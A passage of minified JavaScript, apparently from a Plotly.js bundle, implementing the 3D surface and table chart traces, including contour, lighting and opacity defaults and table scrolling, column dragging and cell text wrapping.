fe.intensityBounds[0]*=B[2],fe.intensityBounds[1]*=B[2];(T<ne[0].shape[0]||T<ne[0].shape[1])&&(this.refineData=!1),this.refineData===!0&&(this.dataScaleX=this.estimateScale(ne[0].shape[0],0),this.dataScaleY=this.estimateScale(ne[0].shape[1],1),(this.dataScaleX!==1||this.dataScaleY!==1)&&this.refineCoords(ne)),n.surfacecolor&&(fe.intensity=ne.pop());var V=[!0,!0,!0],Y=["x","y","z"];for(z=0;z<3;++z){var Q=n.contours[Y[z]];V[z]=Q.highlight,fe.showContour[z]=Q.show||Q.highlight,fe.showContour[z]&&(fe.contourProject[z]=[Q.project.x,Q.project.y,Q.project.z],Q.show?(this.showContour[z]=!0,fe.levels[z]=O[z],I.highlightColor[z]=fe.contourColor[z]=t(Q.color),Q.usecolormap?I.highlightTint[z]=fe.contourTint[z]=0:I.highlightTint[z]=fe.contourTint[z]=1,fe.contourWidth[z]=Q.width,this.contourStart[z]=Q.start,this.contourEnd[z]=Q.end,this.contourSize[z]=Q.size):(this.showContour[z]=!1,this.contourStart[z]=null,this.contourEnd[z]=null,this.contourSize[z]=0),Q.highlight&&(fe.dynamicColor[z]=t(Q.highlightcolor),fe.dynamicWidth[z]=Q.highlightwidth))}l(k)&&(fe.vertexColor=!0),fe.objectOffset=this.objectOffset,fe.coords=ne,I.update(fe),I.visible=n.visible,I.enableDynamic=V,I.enableHighlight=V,I.snapToData=!0,"lighting"in n&&(I.ambientLight=n.lighting.ambient,I.diffuseLight=n.lighting.diffuse,I.specularLight=n.lighting.specular,I.roughness=n.lighting.roughness,I.fresnel=n.lighting.fresnel),"lightposition"in n&&(I.lightPosition=[n.lightposition.x,n.lightposition.y,n.lightposition.z])},a.dispose=function(){this.scene.glplot.remove(this.surface),this.surface.dispose()};function m(n,C){var x=n.glplot.gl,I=M({gl:x}),k=new f(n,I,C.uid);return I._trace=k,k.update(C),n.glplot.add(I),k}te.exports=m},91831:function(te,Z,e){var M=e(73972),P=e(71828),o=e(1586),L=e(54532),S=.1;function d(a,l){for(var u=[],s=32,y=0;y<s;y++){var c=y/(s-1),b=l+(1-l)*(1-Math.pow(Math.sin(a*c*Math.PI),2));u.push([c,Math.max(0,Math.min(1,b))])}return u}function g(a){var l=0;if(!Array.isArray(a)||a.length<2||!a[0]||!a[a.length-1]||+a[0][0]!=0||+a[a.length-1][0]!=1)return!1;for(var u=0;u<a.length;u++){var s=a[u];if(s.length!==2||+s[0]<l)return!1;l=+s[0]}return!0}function t(a,l,u,s){var y,c;function b(n,C){return P.coerce(a,l,L,n,C)}var h=b("x"),i=b("y"),v=b("z");if(!v||!v.length||h&&h.length<1||i&&i.length<1){l.visible=!1;return}l._xlength=Array.isArray(h)&&P.isArrayOrTypedArray(h[0])?v.length:v[0].length,l._ylength=v.length;var T=M.getComponentMethod("calendars","handleTraceDefaults");T(a,l,["x","y","z"],s),b("text"),b("hovertext"),b("hovertemplate"),b("xhoverformat"),b("yhoverformat"),b("zhoverformat"),["lighting.ambient","lighting.diffuse","lighting.specular","lighting.roughness","lighting.fresnel","lightposition.x","lightposition.y","lightposition.z","hidesurface","connectgaps","opacity"].forEach(function(n){b(n)});var w=b("surfacecolor"),E=["x","y","z"];for(y=0;y<3;++y){var p="contours."+E[y],A=b(p+".show"),m=b(p+".highlight");if(A||m)for(c=0;c<3;++c)b(p+".project."+E[c]);A&&(b(p+".color"),b(p+".width"),b(p+".usecolormap")),m&&(b(p+".highlightcolor"),b(p+".highlightwidth")),b(p+".start"),b(p+".end"),b(p+".size")}w||(f(a,"zmin","cmin"),f(a,"zmax","cmax"),f(a,"zauto","cauto")),o(a,l,s,b,{prefix:"",cLetter:"c"}),r(a,l,s,b),l._length=null}function r(a,l,u,s){var y=s("opacityscale");y==="max"?l.opacityscale=[[0,S],[1,1]]:y==="min"?l.opacityscale=[[0,1],[1,S]]:y==="extremes"?l.opacityscale=d(1,S):g(y)||(l.opacityscale=void 0)}function f(a,l,u){l in a&&!(u in a)&&(a[u]=a[l])}te.exports={supplyDefaults:t,opacityscaleDefaults:r}},93601:function(te,Z,e){te.exports={attributes:e(54532),supplyDefaults:e(91831).supplyDefaults,colorbar:{min:"cmin",max:"cmax"},calc:e(18396),plot:e(43768),moduleType:"trace",name:"surface",basePlotModule:e(58547),categories:["gl3d","2dMap","showLegend"],meta:{}}},44464:function(te,Z,e){var M=e(50215),P=e(1426).extendFlat,o=e(30962).overrideAll,L=e(41940),S=e(27670).Y,d=e(12663).descriptionOnlyNumbers,g=te.exports=o({domain:S({name:"table",trace:!0}),columnwidth:{valType:"number",arrayOk:!0,dflt:null},columnorder:{valType:"data_array"},header:{values:{valType:"data_array",dflt:[]},format:{valType:"data_array",dflt:[],description:d("cell value")},prefix:{valType:"string",arrayOk:!0,dflt:null},suffix:{valType:"string",arrayOk:!0,dflt:null},height:{valType:"number",dflt:28},align:P({},M.align,{arrayOk:!0}),line:{width:{valType:"number",arrayOk:!0,dflt:1},color:{valType:"color",arrayOk:!0,dflt:"grey"}},fill:{color:{valType:"color",arrayOk:!0,dflt:"white"}},font:P({},L({arrayOk:!0}))},cells:{values:{valType:"data_array",dflt:[]},format:{valType:"data_array",dflt:[],description:d("cell value")},prefix:{valType:"string",arrayOk:!0,dflt:null},suffix:{valType:"string",arrayOk:!0,dflt:null},height:{valType:"number",dflt:20},align:P({},M.align,{arrayOk:!0}),line:{width:{valType:"number",arrayOk:!0,dflt:1},color:{valType:"color",arrayOk:!0,dflt:"grey"}},fill:{color:{valType:"color",arrayOk:!0,dflt:"white"}},font:P({},L({arrayOk:!0}))}},"calc","from-root");g.transforms=void 0},99469:function(te,Z,e){var M=e(27659).a0,P=e(36736),o="table";Z.name=o,Z.plot=function(L){var S=M(L.calcdata,o)[0];S.length&&P(L,S)},Z.clean=function(L,S,d,g){var t=g._has&&g._has(o),r=S._has&&S._has(o);t&&!r&&g._paperdiv.selectAll(".table").remove()}},76333:function(te,Z,e){var M=e(28984).wrap;te.exports=function(){return M({})}},49850:function(te){te.exports={cellPad:8,columnExtentOffset:10,columnTitleOffset:28,emptyHeaderHeight:16,latexCheck:/^\$.*\$$/,goldenRatio:1.618,lineBreaker:"<br>",maxDimensionCount:60,overdrag:45,releaseTransitionDuration:120,releaseTransitionEase:"cubic-out",scrollbarCaptureWidth:18,scrollbarHideDelay:1e3,scrollbarHideDuration:1e3,scrollbarOffset:5,scrollbarWidth:8,transitionDuration:100,transitionEase:"cubic-out",uplift:5,wrapSpacer:" ",wrapSplitCharacter:" ",cn:{table:"table",tableControlView:"table-control-view",scrollBackground:"scroll-background",yColumn:"y-column",columnBlock:"column-block",scrollAreaClip:"scroll-area-clip",scrollAreaClipRect:"scroll-area-clip-rect",columnBoundary:"column-boundary",columnBoundaryClippath:"column-boundary-clippath",columnBoundaryRect:"column-boundary-rect",columnCells:"column-cells",columnCell:"column-cell",cellRect:"cell-rect",cellText:"cell-text",cellTextHolder:"cell-text-holder",scrollbarKit:"scrollbar-kit",scrollbar:"scrollbar",scrollbarSlider:"scrollbar-slider",scrollbarGlyph:"scrollbar-glyph",scrollbarCaptureZone:"scrollbar-capture-zone"}}},51018:function(te,Z,e){var M=e(49850),P=e(1426).extendFlat,o=e(92770);te.exports=function(u,s){var y=d(s.cells.values),c=function(N){return N.slice(s.header.values.length,N.length)},b=d(s.header.values);b.length&&!b[0].length&&(b[0]=[""],b=d(b));var h=b.concat(c(y).map(function(){return g((b[0]||[""]).length)})),i=s.domain,v=Math.floor(u._fullLayout._size.w*(i.x[1]-i.x[0])),T=Math.floor(u._fullLayout._size.h*(i.y[1]-i.y[0])),w=s.header.values.length?h[0].map(function(){return s.header.height}):[M.emptyHeaderHeight],E=y.length?y[0].map(function(){return s.cells.height}):[],p=w.reduce(S,0),A=T-p,m=A+M.uplift,n=f(E,m),C=f(w,p),x=r(C,[]),I=r(n,x),k={},B=s._fullInput.columnorder.concat(c(y.map(function(N,G){return G}))),_=h.map(function(N,G){var J=Array.isArray(s.columnwidth)?s.columnwidth[Math.min(G,s.columnwidth.length-1)]:s.columnwidth;return o(J)?Number(J):1}),F=_.reduce(S,0);_=_.map(function(N){return N/F*v});var O=Math.max(L(s.header.line.width),L(s.cells.line.width)),z={key:s.uid+u._context.staticPlot,translateX:i.x[0]*u._fullLayout._size.w,translateY:u._fullLayout._size.h*(1-i.y[1]),size:u._fullLayout._size,width:v,maxLineWidth:O,height:T,columnOrder:B,groupHeight:T,rowBlocks:I,headerRowBlocks:x,scrollY:0,cells:P({},s.cells,{values:y}),headerCells:P({},s.header,{values:h}),gdColumns:h.map(function(N){return N[0]}),gdColumnsOriginalOrder:h.map(function(N){return N[0]}),prevPages:[0,0],scrollbarState:{scrollbarScrollInProgress:!1},columns:h.map(function(N,G){var J=k[N];k[N]=(J||0)+1;var q=N+"__"+k[N];return{key:q,label:N,specIndex:G,xIndex:B[G],xScale:t,x:void 0,calcdata:void 0,columnWidth:_[G]}})};return z.columns.forEach(function(N){N.calcdata=z,N.x=t(N)}),z};function L(l){if(Array.isArray(l)){for(var u=0,s=0;s<l.length;s++)u=Math.max(u,L(l[s]));return u}return l}function S(l,u){return l+u}function d(l){var u=l.slice(),s=1/0,y=0,c;for(c=0;c<u.length;c++)Array.isArray(u[c])||(u[c]=[u[c]]),s=Math.min(s,u[c].length),y=Math.max(y,u[c].length);if(s!==y)for(c=0;c<u.length;c++){var b=y-u[c].length;b&&(u[c]=u[c].concat(g(b)))}return u}function g(l){for(var u=new Array(l),s=0;s<l;s++)u[s]="";return u}function t(l){return l.calcdata.columns.reduce(function(u,s){return s.xIndex<l.xIndex?u+s.columnWidth:u},0)}function r(l,u){var s=Object.keys(l);return s.map(function(y){return P({},l[y],{auxiliaryBlocks:u})})}function f(l,u){for(var s={},y,c=0,b=0,h=a(),i=0,v=0,T=0;T<l.length;T++)y=l[T],h.rows.push({rowIndex:T,rowHeight:y}),b+=y,(b>=u||T===l.length-1)&&(s[c]=h,h.key=v++,h.firstRowIndex=i,h.lastRowIndex=T,h=a(),c+=b,i=T+1,b=0);return s}function a(){return{firstRowIndex:null,lastRowIndex:null,rows:[]}}},56269:function(te,Z,e){var M=e(1426).extendFlat;Z.splitToPanels=function(o){var L=[0,0],S=M({},o,{key:"header",type:"header",page:0,prevPages:L,currentRepaint:[null,null],dragHandle:!0,values:o.calcdata.headerCells.values[o.specIndex],rowBlocks:o.calcdata.headerRowBlocks,calcdata:M({},o.calcdata,{cells:o.calcdata.headerCells})}),d=M({},o,{key:"cells1",type:"cells",page:0,prevPages:L,currentRepaint:[null,null],dragHandle:!1,values:o.calcdata.cells.values[o.specIndex],rowBlocks:o.calcdata.rowBlocks}),g=M({},o,{key:"cells2",type:"cells",page:1,prevPages:L,currentRepaint:[null,null],dragHandle:!1,values:o.calcdata.cells.values[o.specIndex],rowBlocks:o.calcdata.rowBlocks});return[d,g,S]},Z.splitToCells=function(o){var L=P(o);return(o.values||[]).slice(L[0],L[1]).map(function(S,d){var g=typeof S=="string"&&S.match(/[<$&> ]/)?"_keybuster_"+Math.random():"";return{keyWithinBlock:d+g,key:L[0]+d,column:o,calcdata:o.calcdata,page:o.page,rowBlocks:o.rowBlocks,value:S}})};function P(o){var L=o.rowBlocks[o.page],S=L?L.rows[0].rowIndex:0,d=L?S+L.rows.length:0;return[S,d]}},39754:function(te,Z,e){var M=e(71828),P=e(44464),o=e(27670).c;function L(S,d){for(var g=S.columnorder||[],t=S.header.values.length,r=g.slice(0,t),f=r.slice().sort(function(u,s){return u-s}),a=r.map(function(u){return f.indexOf(u)}),l=a.length;l<t;l++)a.push(l);d("columnorder",a)}te.exports=function(d,g,t,r){function f(a,l){return M.coerce(d,g,P,a,l)}o(g,r,f),f("columnwidth"),f("header.values"),f("header.format"),f("header.align"),f("header.prefix"),f("header.suffix"),f("header.height"),f("header.line.width"),f("header.line.color"),f("header.fill.color"),M.coerceFont(f,"header.font",M.extendFlat({},r.font)),L(g,f),f("cells.values"),f("cells.format"),f("cells.align"),f("cells.prefix"),f("cells.suffix"),f("cells.height"),f("cells.line.width"),f("cells.line.color"),f("cells.fill.color"),M.coerceFont(f,"cells.font",M.extendFlat({},r.font)),g._length=null}},96595:function(te,Z,e){te.exports={attributes:e(44464),supplyDefaults:e(39754),calc:e(76333),plot:e(36736),moduleType:"trace",name:"table",basePlotModule:e(99469),categories:["noOpacity"],meta:{}}},36736:function(te,Z,e){var M=e(49850),P=e(39898),o=e(71828),L=o.numberFormat,S=e(28984),d=e(91424),g=e(63893),t=e(71828).raiseToTop,r=e(71828).strTranslate,f=e(71828).cancelTransition,a=e(51018),l=e(56269),u=e(7901);te.exports=function(oe,re){var le=!oe._context.staticPlot,pe=oe._fullLayout._paper.selectAll("."+M.cn.table).data(re.map(function(Ze){var Ke=S.unwrap(Ze),st=Ke.trace;return a(oe,st)}),S.keyFun);pe.exit().remove(),pe.enter().append("g").classed(M.cn.table,!0).attr("overflow","visible").style("box-sizing","content-box").style("position","absolute").style("left",0).style("overflow","visible").style("shape-rendering","crispEdges").style("pointer-events","all"),pe.attr("width",function(Ze){return Ze.width+Ze.size.l+Ze.size.r}).attr("height",function(Ze){return Ze.height+Ze.size.t+Ze.size.b}).attr("transform",function(Ze){return r(Ze.translateX,Ze.translateY)});var we=pe.selectAll("."+M.cn.tableControlView).data(S.repeat,S.keyFun),xe=we.enter().append("g").classed(M.cn.tableControlView,!0).style("box-sizing","content-box");if(le){var ke="onwheel"in document?"wheel":"mousewheel";xe.on("mousemove",function(Ze){we.filter(function(Ke){return Ze===Ke}).call(h,oe)}).on(ke,function(Ze){if(!Ze.scrollbarState.wheeling){Ze.scrollbarState.wheeling=!0;var Ke=Ze.scrollY+P.event.deltaY,st=J(oe,we,null,Ke)(Ze);st||(P.event.stopPropagation(),P.event.preventDefault()),Ze.scrollbarState.wheeling=!1}}).call(h,oe,!0)}we.attr("transform",function(Ze){return r(Ze.size.l,Ze.size.t)});var _e=we.selectAll("."+M.cn.scrollBackground).data(S.repeat,S.keyFun);_e.enter().append("rect").classed(M.cn.scrollBackground,!0).attr("fill","none"),_e.attr("width",function(Ze){return Ze.width}).attr("height",function(Ze){return Ze.height}),we.each(function(Ze){d.setClipUrl(P.select(this),y(oe,Ze),oe)});var be=we.selectAll("."+M.cn.yColumn).data(function(Ze){return Ze.columns},S.keyFun);be.enter().append("g").classed(M.cn.yColumn,!0),be.exit().remove(),be.attr("transform",function(Ze){return r(Ze.x,0)}),le&&be.call(P.behavior.drag().origin(function(Ze){var Ke=P.select(this);return _(Ke,Ze,-M.uplift),t(this),Ze.calcdata.columnDragInProgress=!0,h(we.filter(function(st){return Ze.calcdata.key===st.key}),oe),Ze}).on("drag",function(Ze){var Ke=P.select(this),st=function(yt){return(Ze===yt?P.event.x:yt.x)+yt.columnWidth/2};Ze.x=Math.max(-M.overdrag,Math.min(Ze.calcdata.width+M.overdrag-Ze.columnWidth,P.event.x));var lt=b(be).filter(function(yt){return yt.calcdata.key===Ze.calcdata.key}),ut=lt.sort(function(yt,bt){return st(yt)-st(bt)});ut.forEach(function(yt,bt){yt.xIndex=bt,yt.x=Ze===yt?yt.x:yt.xScale(yt)}),be.filter(function(yt){return Ze!==yt}).transition().ease(M.transitionEase).duration(M.transitionDuration).attr("transform",function(yt){return r(yt.x,0)}),Ke.call(f).attr("transform",r(Ze.x,-M.uplift))}).on("dragend",function(Ze){var Ke=P.select(this),st=Ze.calcdata;Ze.x=Ze.xScale(Ze),Ze.calcdata.columnDragInProgress=!1,_(Ke,Ze,0),k(oe,st,st.columns.map(function(lt){return lt.xIndex}))})),be.each(function(Ze){d.setClipUrl(P.select(this),c(oe,Ze),oe)});var ge=be.selectAll("."+M.cn.columnBlock).data(l.splitToPanels,S.keyFun);ge.enter().append("g").classed(M.cn.columnBlock,!0).attr("id",function(Ze){return Ze.key}),ge.style("cursor",function(Ze){return Ze.dragHandle?"ew-resize":Ze.calcdata.scrollbarState.barWiggleRoom?"ns-resize":"default"});var Te=ge.filter(O),Fe=ge.filter(F);le&&Fe.call(P.behavior.drag().origin(function(Ze){return P.event.stopPropagation(),Ze}).on("drag",J(oe,we,-1)).on("dragend",function(){})),i(oe,we,Te,ge),i(oe,we,Fe,ge);var Oe=we.selectAll("."+M.cn.scrollAreaClip).data(S.repeat,S.keyFun);Oe.enter().append("clipPath").classed(M.cn.scrollAreaClip,!0).attr("id",function(Ze){return y(oe,Ze)});var Ce=Oe.selectAll("."+M.cn.scrollAreaClipRect).data(S.repeat,S.keyFun);Ce.enter().append("rect").classed(M.cn.scrollAreaClipRect,!0).attr("x",-M.overdrag).attr("y",-M.uplift).attr("fill","none"),Ce.attr("width",function(Ze){return Ze.width+2*M.overdrag}).attr("height",function(Ze){return Ze.height+M.uplift});var Be=be.selectAll("."+M.cn.columnBoundary).data(S.repeat,S.keyFun);Be.enter().append("g").classed(M.cn.columnBoundary,!0);var $e=be.selectAll("."+M.cn.columnBoundaryClippath).data(S.repeat,S.keyFun);$e.enter().append("clipPath").classed(M.cn.columnBoundaryClippath,!0),$e.attr("id",function(Ze){return c(oe,Ze)});var Xe=$e.selectAll("."+M.cn.columnBoundaryRect).data(S.repeat,S.keyFun);Xe.enter().append("rect").classed(M.cn.columnBoundaryRect,!0).attr("fill","none"),Xe.attr("width",function(Ze){return Ze.columnWidth+2*s(Ze)}).attr("height",function(Ze){return Ze.calcdata.height+2*s(Ze)+M.uplift}).attr("x",function(Ze){return-s(Ze)}).attr("y",function(Ze){return-s(Ze)}),G(null,Fe,we)};function s(K){return Math.ceil(K.calcdata.maxLineWidth/2)}function y(K,oe){return"clip"+K._fullLayout._uid+"_scrollAreaBottomClip_"+oe.key}function c(K,oe){return"clip"+K._fullLayout._uid+"_columnBoundaryClippath_"+oe.calcdata.key+"_"+oe.specIndex}function b(K){return[].concat.apply([],K.map(function(oe){return oe})).map(function(oe){return oe.__data__})}function h(K,oe,re){function le(be){var ge=be.rowBlocks;return V(ge,ge.length-1)+(ge.length?Y(ge[ge.length-1],1/0):1)}var pe=K.selectAll("."+M.cn.scrollbarKit).data(S.repeat,S.keyFun);pe.enter().append("g").classed(M.cn.scrollbarKit,!0).style("shape-rendering","geometricPrecision"),pe.each(function(be){var ge=be.scrollbarState;ge.totalHeight=le(be),ge.scrollableAreaHeight=be.groupHeight-z(be),ge.currentlyVisibleHeight=Math.min(ge.totalHeight,ge.scrollableAreaHeight),ge.ratio=ge.currentlyVisibleHeight/ge.totalHeight,ge.barLength=Math.max(ge.ratio*ge.currentlyVisibleHeight,M.goldenRatio*M.scrollbarWidth),ge.barWiggleRoom=ge.currentlyVisibleHeight-ge.barLength,ge.wiggleRoom=Math.max(0,ge.totalHeight-ge.scrollableAreaHeight),ge.topY=ge.barWiggleRoom===0?0:be.scrollY/ge.wiggleRoom*ge.barWiggleRoom,ge.bottomY=ge.topY+ge.barLength,ge.dragMultiplier=ge.wiggleRoom/ge.barWiggleRoom}).attr("transform",function(be){var ge=be.width+M.scrollbarWidth/2+M.scrollbarOffset;return r(ge,z(be))});var we=pe.selectAll("."+M.cn.scrollbar).data(S.repeat,S.keyFun);we.enter().append("g").classed(M.cn.scrollbar,!0);var xe=we.selectAll("."+M.cn.scrollbarSlider).data(S.repeat,S.keyFun);xe.enter().append("g").classed(M.cn.scrollbarSlider,!0),xe.attr("transform",function(be){return r(0,be.scrollbarState.topY||0)});var ke=xe.selectAll("."+M.cn.scrollbarGlyph).data(S.repeat,S.keyFun);ke.enter().append("line").classed(M.cn.scrollbarGlyph,!0).attr("stroke","black").attr("stroke-width",M.scrollbarWidth).attr("stroke-linecap","round").attr("y1",M.scrollbarWidth/2),ke.attr("y2",function(be){return be.scrollbarState.barLength-M.scrollbarWidth/2}).attr("stroke-opacity",function(be){return be.columnDragInProgress||!be.scrollbarState.barWiggleRoom||re?0:.4}),ke.transition().delay(0).duration(0),ke.transition().delay(M.scrollbarHideDelay).duration(M.scrollbarHideDuration).attr("stroke-opacity",0);var _e=we.selectAll("."+M.cn.scrollbarCaptureZone).data(S.repeat,S.keyFun);_e.enter().append("line").classed(M.cn.scrollbarCaptureZone,!0).attr("stroke","white").attr("stroke-opacity",.01).attr("stroke-width",M.scrollbarCaptureWidth).attr("stroke-linecap","butt").attr("y1",0).on("mousedown",function(be){var ge=P.event.y,Te=this.getBoundingClientRect(),Fe=be.scrollbarState,Oe=ge-Te.top,Ce=P.scale.linear().domain([0,Fe.scrollableAreaHeight]).range([0,Fe.totalHeight]).clamp(!0);Fe.topY<=Oe&&Oe<=Fe.bottomY||J(oe,K,null,Ce(Oe-Fe.barLength/2))(be)}).call(P.behavior.drag().origin(function(be){return P.event.stopPropagation(),be.scrollbarState.scrollbarScrollInProgress=!0,be}).on("drag",J(oe,K)).on("dragend",function(){})),_e.attr("y2",function(be){return be.scrollbarState.scrollableAreaHeight}),oe._context.staticPlot&&(ke.remove(),_e.remove())}function i(K,oe,re,le){var pe=v(re),we=T(pe);A(we);var xe=w(we);n(xe);var ke=p(we),_e=E(ke);m(_e),C(_e,oe,le,K),W(we)}function v(K){var oe=K.selectAll("."+M.cn.columnCells).data(S.repeat,S.keyFun);return oe.enter().append("g").classed(M.cn.columnCells,!0),oe.exit().remove(),oe}function T(K){var oe=K.selectAll("."+M.cn.columnCell).data(l.splitToCells,function(re){return re.keyWithinBlock});return oe.enter().append("g").classed(M.cn.columnCell,!0),oe.exit().remove(),oe}function w(K){var oe=K.selectAll("."+M.cn.cellRect).data(S.repeat,function(re){return re.keyWithinBlock});return oe.enter().append("rect").classed(M.cn.cellRect,!0),oe}function E(K){var oe=K.selectAll("."+M.cn.cellText).data(S.repeat,function(re){return re.keyWithinBlock});return oe.enter().append("text").classed(M.cn.cellText,!0).style("cursor",function(){return"auto"}).on("mousedown",function(){P.event.stopPropagation()}),oe}function p(K){var oe=K.selectAll("."+M.cn.cellTextHolder).data(S.repeat,function(re){return re.keyWithinBlock});return oe.enter().append("g").classed(M.cn.cellTextHolder,!0).style("shape-rendering","geometricPrecision"),oe}function A(K){K.each(function(oe,re){var le=oe.calcdata.cells.font,pe=oe.column.specIndex,we={size:B(le.size,pe,re),color:B(le.color,pe,re),family:B(le.family,pe,re)};oe.rowNumber=oe.key,oe.align=B(oe.calcdata.cells.align,pe,re),oe.cellBorderWidth=B(oe.calcdata.cells.line.width,pe,re),oe.font=we})}function m(K){K.each(function(oe){d.font(P.select(this),oe.font)})}function n(K){K.attr("width",function(oe){return oe.column.columnWidth}).attr("stroke-width",function(oe){return oe.cellBorderWidth}).each(function(oe){var re=P.select(this);u.stroke(re,B(oe.calcdata.cells.line.color,oe.column.specIndex,oe.rowNumber)),u.fill(re,B(oe.calcdata.cells.fill.color,oe.column.specIndex,oe.rowNumber))})}function C(K,oe,re,le){K.text(function(pe){var we=pe.column.specIndex,xe=pe.rowNumber,ke=pe.value,_e=typeof ke=="string",be=_e&&ke.match(/<br>/i),ge=!_e||be;pe.mayHaveMarkup=_e&&ke.match(/[<&>]/);var Te=x(ke);pe.latex=Te;var Fe=Te?"":B(pe.calcdata.cells.prefix,we,xe)||"",Oe=Te?"":B(pe.calcdata.cells.suffix,we,xe)||"",Ce=Te?null:B(pe.calcdata.cells.format,we,xe)||null,Be=Fe+(Ce?L(Ce)(pe.value):pe.value)+Oe,$e;pe.wrappingNeeded=!pe.wrapped&&!ge&&!Te&&($e=I(Be)),pe.cellHeightMayIncrease=be||Te||pe.mayHaveMarkup||($e===void 0?I(Be):$e),pe.needsConvertToTspans=pe.mayHaveMarkup||pe.wrappingNeeded||pe.latex;var Xe;if(pe.wrappingNeeded){var Ze=M.wrapSplitCharacter===" "?Be.replace(/<a href=/ig,"<a_href="):Be,Ke=Ze.split(M.wrapSplitCharacter),st=M.wrapSplitCharacter===" "?Ke.map(function(lt){return lt.replace(/<a_href=/ig,"<a href=")}):Ke;pe.fragments=st.map(function(lt){return{text:lt,width:null}}),pe.fragments.push({fragment:M.wrapSpacer,width:null}),Xe=st.join(M.lineBreaker)+M.lineBreaker+M.wrapSpacer}else delete pe.fragments,Xe=Be;return Xe}).attr("dy",function(pe){return pe.needsConvertToTspans?0:"0.75em"}).each(function(pe){var we=this,xe=P.select(we),ke=pe.wrappingNeeded?ne:fe;pe.needsConvertToTspans?g.convertToTspans(xe,le,ke(re,we,oe,le,pe)):P.select(we.parentNode).attr("transform",function(_e){return r(X(_e),M.cellPad)}).attr("text-anchor",function(_e){return{left:"start",center:"middle",right:"end"}[_e.align]})})}function x(K){return typeof K=="string"&&K.match(M.latexCheck)}function I(K){return K.indexOf(M.wrapSplitCharacter)!==-1}function k(K,oe,re){var le=oe.gdColumnsOriginalOrder;oe.gdColumns.sort(function(pe,we){return re[le.indexOf(pe)]-re[le.indexOf(we)]}),oe.columnorder=re,K.emit("plotly_restyle")}function B(K,oe,re){if(Array.isArray(K)){var le=K[Math.min(oe,K.length-1)];return Array.isArray(le)?le[Math.min(re,le.length-1)]:le}else return K}function _(K,oe,re){K.transition().ease(M.releaseTransitionEase).duration(M.releaseTransitionDuration).attr("transform",r(oe.x,re))}function F(K){return K.type==="cells"}function O(K){return K.type==="header"}function z(K){var oe=K.rowBlocks.length?K.rowBlocks[0].auxiliaryBlocks:[];return oe.reduce(function(re,le){return re+Y(le,1/0)},0)}function N(K,oe,re){for(var le=[],pe=0,we=0;we<K.length;we++){for(var xe=K[we],ke=xe.rows,_e=0,be=0;be<ke.length;be++)_e+=ke[be].rowHeight;xe.allRowsHeight=_e;var ge=pe+_e,Te=oe,Fe=Te+re;Te<ge&&Fe>pe&&le.push(we),pe+=_e}return le}function G(K,oe,re){var le=b(oe)[0];if(le!==void 0){var pe=le.rowBlocks,we=le.calcdata,xe=V(pe,pe.length),ke=le.calcdata.groupHeight-z(le),_e=we.scrollY=Math.max(0,Math.min(xe-ke,we.scrollY)),be=N(pe,_e,ke);be.length===1&&(be[0]===pe.length-1?be.unshift(be[0]-1):be.push(be[0]+1)),be[0]%2&&be.reverse(),oe.each(function(ge,Te){ge.page=be[Te],ge.scrollY=_e}),oe.attr("transform",function(ge){var Te=V(ge.rowBlocks,ge.page)-ge.scrollY;return r(0,Te)}),K&&(q(K,re,oe,be,le.prevPages,le,0),q(K,re,oe,be,le.prevPages,le,1),h(re,K))}}function J(K,oe,re,le){return function(we){var xe=we.calcdata?we.calcdata:we,ke=oe.filter(function(Te){return xe.key===Te.key}),_e=re||xe.scrollbarState.dragMultiplier,be=xe.scrollY;xe.scrollY=le===void 0?xe.scrollY+_e*P.event.dy:le;var ge=ke.selectAll("."+M.cn.yColumn).selectAll("."+M.cn.columnBlock).filter(F);return G(K,ge,ke),xe.scrollY===be}}function q(K,oe,re,le,pe,we,xe){var ke=le[xe]!==pe[xe];ke&&(clearTimeout(we.currentRepaint[xe]),we.currentRepaint[xe]=setTimeout(function(){var _e=re.filter(function(be,ge){return ge===xe&&le[ge]!==pe[ge]});i(K,oe,_e,re),pe[xe]=le[xe]}))}function ne(K,oe,re,le){return function(){var we=P.select(oe.parentNode);we.each(function(xe){var ke=xe.fragments;we.selectAll("tspan.line").each(function(Be,$e){ke[$e].width=this.getComputedTextLength()});var _e=ke[ke.length-1].width,be=ke.slice(0,-1),ge=[],Te,Fe,Oe=0,Ce=xe.column.columnWidth-2*M.cellPad;for(xe.value="";be.length;)Te=be.shift(),Fe=Te.width+_e,Oe+Fe>Ce&&(xe.value+=ge.join(M.wrapSpacer)+M.lineBreaker,ge=[],Oe=0),ge.push(Te.text),Oe+=Fe;Oe&&(xe.value+=ge.join(M.wrapSpacer)),xe.wrapped=!0}),we.selectAll("tspan.line").remove(),C(we.select("."+M.cn.cellText),re,K,le),P.select(oe.parentNode.parentNode).call(W)}}function fe(K,oe,re,le,pe){return function(){if(!pe.settledY){var xe=P.select(oe.parentNode),ke=ie(pe),_e=pe.key-ke.firstRowIndex,be=ke.rows[_e].rowHeight,ge=pe.cellHeightMayIncrease?oe.parentNode.getBoundingClientRect().height+2*M.cellPad:be,Te=Math.max(ge,be),Fe=Te-ke.rows[_e].rowHeight;Fe&&(ke.rows[_e].rowHeight=Te,K.selectAll("."+M.cn.columnCell).call(W),G(null,K.filter(F),0),h(re,le,!0)),xe.attr("transform",function(){var Oe=this,Ce=Oe.parentNode,Be=Ce.getBoundingClientRect(),$e=P.select(Oe.parentNode).select("."+M.cn.cellRect).node().getBoundingClientRect(),Xe=Oe.transform.baseVal.consolidate(),Ze=$e.top-Be.top+(Xe?Xe.matrix.f:M.cellPad);return r(X(pe,P.select(Oe.parentNode).select("."+M.cn.cellTextHolder).node().getBoundingClientRect().width),Ze)}),pe.settledY=!0}}}function X(K,oe){switch(K.align){case"left":return M.cellPad;case"right":return K.column.columnWidth-(oe||0)-M.cellPad;case"center":return(K.column.columnWidth-(oe||0))/2;default:return M.cellPad}}function W(K){K.attr("transform",function(oe){var re=oe.rowBlocks[0].auxiliaryBlocks.reduce(function(xe,ke){return xe+Y(ke,1/0)},0),le=ie(oe),pe=Y(le,oe.key),we=pe+re;return r(0,we)}).selectAll("."+M.cn.cellRect).attr("height",function(oe){return j(ie(oe),oe.key).rowHeight})}function V(K,oe){for(var re=0,le=oe-1;le>=0;le--)re+=Q(K[le]);return re}function Y(K,oe){for(var re=0,le=0;le<K.rows.length&&K.rows[le].rowIndex<oe;le++)re+=K.rows[le].rowHeight;return re}function Q(K){var oe=K.allRowsHeight;if(oe!==void 0)return oe;for(var re=0,le=0;le<K.rows.length;le++)re+=K.rows[le].rowHeight;return K.allRowsHeight=re,re}function ie(K){return K.rowBlocks[K.page]}function j(K,oe){return K.rows[oe-K.firstRowIndex]}},45802:function(te,Z,e){var 